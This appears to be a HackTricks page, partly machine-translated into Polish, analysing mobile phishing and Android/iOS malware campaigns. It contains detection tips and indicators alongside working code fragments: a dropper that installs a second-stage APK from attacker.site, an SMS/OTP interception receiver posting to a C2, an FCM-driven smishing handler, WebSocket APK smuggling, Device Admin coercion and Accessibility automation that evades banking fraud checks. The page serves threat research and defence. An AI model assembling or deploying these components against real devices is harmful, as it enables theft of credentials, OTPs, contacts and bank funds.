Mobile Phishing & Malicious App Distribution (Android & iOS)

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

[!INFO] Ta strona opisuje techniki używane przez threat actors do dystrybucji malicious Android APKs i iOS mobile-configuration profiles poprzez phishing (SEO, social engineering, fake stores, dating apps itp.). Materiał jest zaadaptowany z kampanii SarangTrap ujawnionej przez Zimperium zLabs (2025) oraz innych publicznych badań.

Przebieg ataku

  1. SEO/Phishing Infrastructure
  • Zarejestruj dziesiątki look-alike domen (serwisy randkowe, cloud share, car service…). – Użyj słów kluczowych w lokalnym języku i emoji w elemencie <title>, aby poprawić pozycję w Google. – Hostuj oba Android (.apk) i iOS install instructions na tej samej landing page.
  1. First Stage Download
  • Android: direct link to an unsigned or “third-party store” APK.
  • iOS: itms-services:// or plain HTTPS link to a malicious mobileconfig profile (see below).
  1. Post-install Social Engineering
  • Przy pierwszym uruchomieniu aplikacja prosi o kod zaproszenia / weryfikacyjny (iluzja ekskluzywnego dostępu).
  • Kod jest POSTed over HTTP do Command-and-Control (C2).
  • C2 replies {"success":true} ➜ malware continues.
  • Analiza dynamiczna Sandbox / AV, która nigdy nie przesyła prawidłowego kodu, nie wykrywa no malicious behaviour (evasion).
  1. Runtime Permission Abuse (Android)
  • Niebezpieczne uprawnienia są żądane dopiero po pozytywnej odpowiedzi C2:
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<!-- Older builds also asked for SMS permissions -->
  • Nowsze warianty remove <uses-permission> for SMS from AndroidManifest.xml ale zostawiają ścieżkę Java/Kotlin, która odczytuje SMS przez reflection ⇒ obniża to ocenę statyczną, a jednocześnie działa na urządzeniach, które przyznały uprawnienie przez nadużycie AppOps lub na starszych targetach.
  1. Facade UI & Background Collection
  • Aplikacja pokazuje nieszkodliwe widoki (SMS viewer, gallery picker) implementowane lokalnie.
  • W międzyczasie exfiltrates:
  • IMEI / IMSI, phone number
  • Full ContactsContract dump (JSON array)
  • JPEG/PNG z /sdcard/DCIM skompresowane przy użyciu Luban w celu zmniejszenia rozmiaru
  • Opcjonalna treść SMS (content://sms) Payloads are batch-zipped i wysyłane przez HTTP POST /upload.php.
  1. iOS Delivery Technique
  • Pojedynczy mobile-configuration profile może zażądać PayloadType=com.apple.sharedlicenses, com.apple.managedConfiguration itp., aby zarejestrować urządzenie w nadzorze przypominającym “MDM”.
  • Social-engineering instructions:
  1. Open Settings ➜ Profile downloaded.
  2. Tap Install three times (screenshots on the phishing page).
  3. Trust the unsigned profile ➜ attacker gains Contacts & Photo entitlement without App Store review.
  4. Network Layer
  • Plain HTTP, często na porcie 80 z HOST header typu api.<phishingdomain>.com.
  • User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001) (brak TLS → łatwe do wykrycia).

Red-Team Tips

  • Dynamic Analysis Bypass – Podczas oceny malware zautomatyzuj fazę wprowadzania kodu zaproszenia przy użyciu Frida/Objection, aby osiągnąć złośliwy branch.
  • Manifest vs. Runtime Diff – Porównaj aapt dump permissions z runtime PackageManager#getRequestedPermissions(); brakujące dangerous perms to czerwony alert.
  • Network Canary – Skonfiguruj iptables -p tcp --dport 80 -j NFQUEUE, aby wykryć nieprawidłowe serie POST po wprowadzeniu kodu.
  • mobileconfig Inspection – Użyj security cms -D -i profile.mobileconfig na macOS, aby wylistować PayloadContent i wykryć nadmierne entitlements.

Useful Frida Snippet: Auto-Bypass Invitation Code

Frida: auto-bypass invitation code ```javascript // frida -U -f com.badapp.android -l bypass.js --no-pause // Hook HttpURLConnection write to always return success Java.perform(function() { var URL = Java.use('java.net.URL'); URL.openConnection.implementation = function() { var conn = this.openConnection(); var HttpURLConnection = Java.use('java.net.HttpURLConnection'); if (Java.cast(conn, HttpURLConnection)) { conn.getResponseCode.implementation = function(){ return 200; }; conn.getInputStream.implementation = function(){ return Java.use('java.io.ByteArrayInputStream').$new("{\"success\":true}".getBytes()); }; } return conn; }; }); ```

Wskaźniki (ogólne)

/req/checkCode.php        # invite code validation
/upload.php               # batched ZIP exfiltration
LubanCompress 1.1.8       # "Luban" string inside classes.dex

Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern

Wzorzec ten zaobserwowano w kampaniach wykorzystujących motywy dotyczące świadczeń rządowych w celu kradzieży indyjskich danych logowania UPI i kodów OTP. Operatorzy łączą renomowane platformy w łańcuch dostawy, aby zwiększyć zasięg i odporność.

Delivery chain across trusted platforms

  • Wabik wideo na YouTube → opis zawiera krótki link
  • Krótki link → strona phishingowa na GitHub Pages udająca legalny portal
  • To samo repozytorium GitHub hostuje APK z fałszywym “Google Play” badge prowadzącym bezpośrednio do pliku
  • Dynamiczne strony phishingowe działają na Replit; zdalny kanał poleceń używa Firebase Cloud Messaging (FCM)

Dropper with embedded payload and offline install

  • Pierwsze APK to instalator (dropper), który zawiera prawdziwe malware w assets/app.apk i prosi użytkownika o wyłączenie Wi‑Fi/danych komórkowych, aby stłumić wykrywanie w chmurze.
  • Osadzony payload instaluje się pod niepozorną etykietą (np. “Secure Update”). Po instalacji zarówno instalator, jak i payload występują jako osobne aplikacje.

Static triage tip (grep for embedded payloads):


unzip -l sample.apk | grep -i "assets/app.apk"
# Or:
zipgrep -i "classes|.apk" sample.apk | head
  • Malware pobiera listę w formacie plain-text, comma-separated żywych endpoints z shortlink; proste string transforms generują końcową ścieżkę phishing page.

Przykład (oczyszczony):

GET https://rebrand.ly/dclinkto2
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
Transform: "gate.html" → "gate.htm" (loaded in WebView)
UPI credential POST: https://sqcepo.replit.app/addup.php
SMS upload:           https://sqcepo.replit.app/addsm.php

Pseudokod:

String csv = httpGet(shortlink);
String[] parts = csv.split(",");
String upiPage = parts[0].replace("gate.html", "gate.htm");
String smsPost = parts[1];
String credsPost = upiPage.replace("gate.htm", "addup.php");

WebView-based UPI credential harvesting

  • Krok „Make payment of ₹1 / UPI‑Lite” ładuje złośliwy formularz HTML z dynamicznego endpointu wewnątrz WebView i przechwytuje poufne pola (phone, bank, UPI PIN), które są wysyłane metodą POST do addup.php.

Minimal loader:

WebView wv = findViewById(R.id.web);
wv.getSettings().setJavaScriptEnabled(true);
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm

Samopropagacja i przechwytywanie SMS/OTP

  • Na pierwszym uruchomieniu żądane są agresywne uprawnienia:
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
  • Kontakty są przetwarzane w pętli, aby masowo wysyłać smishing SMS-y z urządzenia ofiary.
  • Przychodzące SMS-y są przechwytywane przez broadcast receiver i przesyłane z metadanymi (nadawca, treść, slot SIM, losowe ID przypisane do urządzenia) do /addsm.php.

Szkic odbiornika:

public void onReceive(Context c, Intent i){
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
for (SmsMessage m: msgs){
postForm(urlAddSms, new FormBody.Builder()
.add("senderNum", m.getOriginatingAddress())
.add("Message", m.getMessageBody())
.add("Slot", String.valueOf(getSimSlot(i)))
.add("Device rand", getOrMakeDeviceRand(c))
.build());
}
}

Firebase Cloud Messaging (FCM) jako odporny C2

  • Payload rejestruje się w FCM; wiadomości push zawierają pole _type, wykorzystywane jako przełącznik do wyzwalania akcji (np. aktualizacja szablonów tekstów phishing, przełączanie zachowań).

Przykładowy payload FCM:

{
"to": "<device_fcm_token>",
"data": {
"_type": "update_texts",
"template": "New subsidy message..."
}
}

Szkic handlera:

@Override
public void onMessageReceived(RemoteMessage msg){
String t = msg.getData().get("_type");
switch (t){
case "update_texts": applyTemplate(msg.getData().get("template")); break;
case "smish": sendSmishToContacts(); break;
// ... more remote actions
}
}

Wskaźniki/IOCs

  • APK zawiera dodatkowy payload w assets/app.apk
  • WebView ładuje payment z gate.htm i exfiltrates do /addup.php
  • SMS exfiltration do /addsm.php
  • Pobieranie konfiguracji sterowane shortlinkiem (np. rebrand.ly/*) zwracające CSV endpoints
  • Aplikacje oznaczone jako ogólne “Update/Secure Update”
  • Wiadomości FCM data z dyskryminatorem _type w niezaufanych aplikacjach

Socket.IO/WebSocket-based APK Smuggling + Fałszywe strony Google Play

Atakujący coraz częściej zastępują statyczne linki do APK kanałem Socket.IO/WebSocket osadzonym w przynętach wyglądających jak Google Play. To ukrywa payload URL, omija filtry URL/extension i zachowuje realistyczny install UX.

Typowy przebieg klienta obserwowany w praktyce:

Socket.IO fałszywy downloader Google Play (JavaScript) ```javascript // Open Socket.IO channel and request payload const socket = io("wss:///ws", { transports: ["websocket"] }); socket.emit("startDownload", { app: "com.example.app" });

// Accumulate binary chunks and drive fake Play progress UI const chunks = []; socket.on(“chunk”, (chunk) => chunks.push(chunk)); socket.on(“downloadProgress”, (p) => updateProgressBar(p));

// Assemble APK client‑side and trigger browser save dialog socket.on(“downloadComplete”, () => { const blob = new Blob(chunks, { type: “application/vnd.android.package-archive” }); const url = URL.createObjectURL(blob); const a = document.createElement(“a”); a.href = url; a.download = “app.apk”; a.style.display = “none”; document.body.appendChild(a); a.click(); });

</details>

Dlaczego omija proste mechanizmy ochronne:
- Żaden statyczny URL APK nie jest ujawniany; payload jest rekonstruowany w pamięci z WebSocket frames.
- Filtry URL/MIME/extension, które blokują bezpośrednie odpowiedzi .apk, mogą nie wykryć binarnych danych tunelowanych przez WebSockets/Socket.IO.
- Crawlers i URL sandboxes, które nie wykonują WebSockets, nie pobiorą payload.

Zobacz też WebSocket tradecraft and tooling:

<a class="content_ref" href="../../pentesting-web/websocket-attacks.md"><span class="content_ref_label">WebSocket Attacks</span></a>


## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – studium przypadku RatOn

Kampania RatOn banker/RAT (ThreatFabric) jest konkretnym przykładem, jak nowoczesne operacje mobile phishing łączą WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover i nawet NFC-relay orchestration. Ta sekcja wydziela techniki nadające się do ponownego użycia.

### Stage-1: WebView → native install bridge (dropper)
Atakujący wyświetlają WebView wskazujące na stronę atakującego i wstrzykują JavaScript interface, który udostępnia native installer. Stuknięcie w HTML button wywołuje native code, który instaluje second-stage APK dołączony w dropper’s assets, a następnie uruchamia go bezpośrednio.

Minimalny wzorzec:

<details>
<summary>Stage-1 dropper minimal pattern (Java)</summary>
```java
public class DropperActivity extends Activity {
@Override protected void onCreate(Bundle b){
super.onCreate(b);
WebView wv = new WebView(this);
wv.getSettings().setJavaScriptEnabled(true);
wv.addJavascriptInterface(new Object(){
@android.webkit.JavascriptInterface
public void installApk(){
try {
PackageInstaller pi = getPackageManager().getPackageInstaller();
PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
int id = pi.createSession(p);
try (PackageInstaller.Session s = pi.openSession(id);
InputStream in = getAssets().open("payload.apk");
OutputStream out = s.openWrite("base.apk", 0, -1)){
byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
}
PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
pi.commit(id, status.getIntentSender());
} catch (Exception e) { /* log */ }
}
}, "bridge");
setContentView(wv);
wv.loadUrl("https://attacker.site/install.html");
}
}

HTML na stronie:

<button onclick="bridge.installApk()">Install</button>

Po instalacji dropper uruchamia payload za pomocą explicit package/activity:

Intent i = new Intent();
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
startActivity(i);

Hunting idea: nieufne aplikacje wywołujące addJavascriptInterface() i udostępniające WebView metody przypominające instalator; APK zawierający osadzony wtórny payload w assets/ i wywołujący Package Installer Session API.

Proces uzyskiwania zgody: Accessibility + Device Admin + kolejne monity runtime

Etap 2 otwiera WebView, które hostuje stronę „Access”. Jej przycisk wywołuje eksportowaną metodę, która przekierowuje ofiarę do ustawień Accessibility i prosi o włączenie złośliwej usługi. Po przyznaniu, malware używa Accessibility do automatycznego klikania przez kolejne monity uprawnień w czasie działania (contacts, overlay, manage system settings, itp.) oraz żąda Device Admin.

  • Accessibility programowo pomaga zaakceptować późniejsze monity, znajdując przyciski takie jak “Allow”/“OK” w node-tree i wykonując kliknięcia.
  • Sprawdzenie/żądanie uprawnienia overlay:
if (!Settings.canDrawOverlays(ctx)) {
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
Uri.parse("package:" + ctx.getPackageName()));
ctx.startActivity(i);
}

Zobacz także:

Accessibility Services Abuse

Overlay phishing/ransom przez WebView

Operatorzy mogą wydawać polecenia, aby:

  • wyrenderować pełnoekranowy overlay z URL, lub
  • przekazać inline HTML ładowany do overlay WebView.

Prawdopodobne zastosowania: wymuszanie (wprowadzanie PIN), otwieranie wallet w celu przechwycenia PIN-ów, wyświetlanie komunikatów ransom. Zachowaj polecenie, które zapewni przyznanie uprawnienia overlay, jeśli go brakuje.

Model zdalnego sterowania – pseudo-ekran tekstowy + screen-cast

  • Niskopasmowy: okresowo zrzucaj drzewo węzłów Accessibility, serializuj widoczne teksty/role/bounds i wyślij do C2 jako pseudo-ekran (polecenia takie jak txt_screen jednorazowo i screen_live ciągłe).
  • Wysoka wierność: zażądaj MediaProjection i rozpocznij screen-casting/nagrywanie na żądanie (polecenia jak display / record).

ATS playbook (automatyzacja aplikacji bankowej)

Mając zadanie w JSON, otwórz aplikację bankową, steruj UI przez Accessibility za pomocą mieszanki zapytań tekstowych i stuknięć w współrzędne, i wpisz PIN płatniczy ofiary, gdy pojawi się monit.

Przykładowe zadanie:

{
"cmd": "transfer",
"receiver_address": "ACME s.r.o.",
"account": "123456789/0100",
"amount": "24500.00",
"name": "ACME"
}

Przykładowe teksty widziane w jednym przepływie docelowym (CZ → EN):

  • “Nová platba” → “Nowa płatność”
  • “Zadat platbu” → “Wprowadź płatność”
  • “Nový příjemce” → “Nowy odbiorca”
  • “Domácí číslo účtu” → “Krajowy numer konta”
  • “Další” → “Dalej”
  • “Odeslat” → “Wyślij”
  • “Ano, pokračovat” → “Tak, kontynuuj”
  • “Zaplatit” → “Zapłać”
  • “Hotovo” → “Gotowe”

Operatorzy mogą także sprawdzać/podnosić limity przelewów za pomocą poleceń takich jak check_limit i limit, które nawigują po UI limitów w podobny sposób.

Crypto wallet seed extraction

Targets like MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow: odblokuj (skradziony PIN lub podane hasło), przejdź do Security/Recovery, pokaż seed phrase, keylog/exfiltrate it. Zaimplementuj selektory uwzględniające lokalizację (EN/RU/CZ/SK), aby ustabilizować nawigację w różnych językach.

Device Admin coercion

Device Admin APIs są używane do zwiększenia możliwości przechwytywania PIN-u i sfrustrowania ofiary:

  • Immediate lock:
dpm.lockNow();
  • Wygasić bieżące poświadczenie, aby wymusić zmianę (Accessibility przechwytuje nowy PIN/hasło):
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
  • Wymuś odblokowanie bez biometrii, wyłączając funkcje biometryczne keyguard:
dpm.setKeyguardDisabledFeatures(admin,
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);

Uwaga: Wiele kontroli DevicePolicyManager wymaga Device Owner/Profile Owner na nowszych wersjach Androida; niektóre buildy OEM mogą być mniej restrykcyjne. Zawsze zweryfikuj na docelowym OS/OEM.

Orkiestracja NFC relay (NFSkate)

Stage-3 może zainstalować i uruchomić zewnętrzny moduł NFC-relay (np. NFSkate) i nawet przekazać mu szablon HTML, aby poprowadzić ofiarę podczas relayu. Pozwala to na bezkontaktowe wypłaty przy obecności fizycznej karty równolegle z online ATS.

Tło: NFSkate NFC relay.

Zestaw poleceń operatora (przykład)

  • UI/stan: txt_screen, screen_live, display, record
  • Social: send_push, Facebook, WhatsApp
  • Nakładki: overlay (inline HTML), block (URL), block_off, access_tint
  • Portfele: metamask, trust, blockchain, phantom
  • ATS: transfer, check_limit, limit
  • Urządzenie: lock, expire_password, disable_keyguard, home, back, recents, power, touch, swipe, keypad, tint, sound_mode, set_sound
  • Komunikacja/Recon: update_device, send_sms, replace_buffer, get_name, add_contact
  • NFC: nfs, nfs_inject

Mechanizmy anty-detekcyjne dla ATS oparte na Accessibility: rytm tekstu podobny do ludzkiego i podwójne wstrzykiwanie tekstu (Herodotus)

Aktorzy zagrażający coraz częściej łączą automatyzację opartą na Accessibility z mechanizmami anty-detekcyjnymi nastawionymi na omijanie prostych biometrycznych heurystyk zachowania. Niedawny banker/RAT pokazuje dwa uzupełniające się tryby dostarczania tekstu oraz przełącznik operatora do symulacji ludzkiego pisania z losowym rytmem.

  • Tryb wykrywania: enumeruje widoczne węzły z selektorami i bounds, aby precyzyjnie celować w inputy (ID, text, contentDescription, hint, bounds) przed działaniem.
  • Podwójne wstrzykiwanie tekstu:
  • Tryb 1 – ACTION_SET_TEXT bezpośrednio na docelowym node (stabilne, bez klawiatury);
  • Tryb 2 – ustawienie schowka + ACTION_PASTE do fokusowanego node’a (działa, gdy bezpośrednie setText jest zablokowane).
  • Rytm podobny do ludzkiego: podziel ciąg dostarczony przez operatora i wprowadzaj go znak-po-znaku z losowanymi opóźnieniami 300–3000 ms między zdarzeniami, aby ominąć heurystyki “pisania z prędkością maszyny”. Zaimplementowane albo przez stopniowe rozrastanie wartości za pomocą ACTION_SET_TEXT, albo przez wklejanie po jednym znaku naraz.
Szkic Java: node discovery + opóźnione wprowadzanie po-znakowe przez setText lub clipboard+paste ```java // Enumerate nodes (HVNCA11Y-like): text, id, desc, hint, bounds void discover(AccessibilityNodeInfo r, List out){ if (r==null) return; Rect b=new Rect(); r.getBoundsInScreen(b); CharSequence id=r.getViewIdResourceName(), txt=r.getText(), cd=r.getContentDescription(); out.add(String.format("cls=%s id=%s txt=%s desc=%s b=%s", r.getClassName(), id, txt, cd, b.toShortString())); for(int i=0;i

// Mode 1: progressively set text with randomized 300–3000 ms delays void sendTextSetText(AccessibilityNodeInfo field, String s) throws InterruptedException{ String cur = “”; for (char c: s.toCharArray()){ cur += c; Bundle b=new Bundle(); b.putCharSequence(AccessibilityNodeInfo.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, cur); field.performAction(AccessibilityNodeInfo.ACTION_SET_TEXT, b); Thread.sleep(300 + new java.util.Random().nextInt(2701)); } }

// Mode 2: clipboard + paste per-char with randomized delays void sendTextPaste(AccessibilityService svc, AccessibilityNodeInfo field, String s) throws InterruptedException{ field.performAction(AccessibilityNodeInfo.ACTION_FOCUS); ClipboardManager cm=(ClipboardManager) svc.getSystemService(Context.CLIPBOARD_SERVICE); for (char c: s.toCharArray()){ cm.setPrimaryClip(ClipData.newPlainText(“x”, Character.toString(c))); field.performAction(AccessibilityNodeInfo.ACTION_PASTE); Thread.sleep(300 + new java.util.Random().nextInt(2701)); } }

</details>

Nakładki blokujące jako przykrywka do oszustw:
- Renderuj pełnoekranowy `TYPE_ACCESSIBILITY_OVERLAY` z kontrolowaną przez operatora przezroczystością; utrzymuj go nieprzezroczystym dla ofiary, podczas gdy zdalna automatyzacja działa pod spodem.
- Zazwyczaj udostępniane polecenia: `opacityOverlay <0..255>`, `sendOverlayLoading <html/url>`, `removeOverlay`.

Minimalna nakładka z regulowaną alfą:
```java
View v = makeOverlayView(ctx); v.setAlpha(0.92f); // 0..1
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY,
WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE |
WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL,
PixelFormat.TRANSLUCENT);
wm.addView(v, lp);

Często spotykane prymitywy sterowania operatora: BACK, HOME, RECENTS, CLICKTXT/CLICKDESC/CLICKELEMENT/CLICKHINT, TAP/SWIPE, NOTIFICATIONS, OPNPKG, VNC/VNCA11Y (udostępnianie ekranu).

Źródła

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks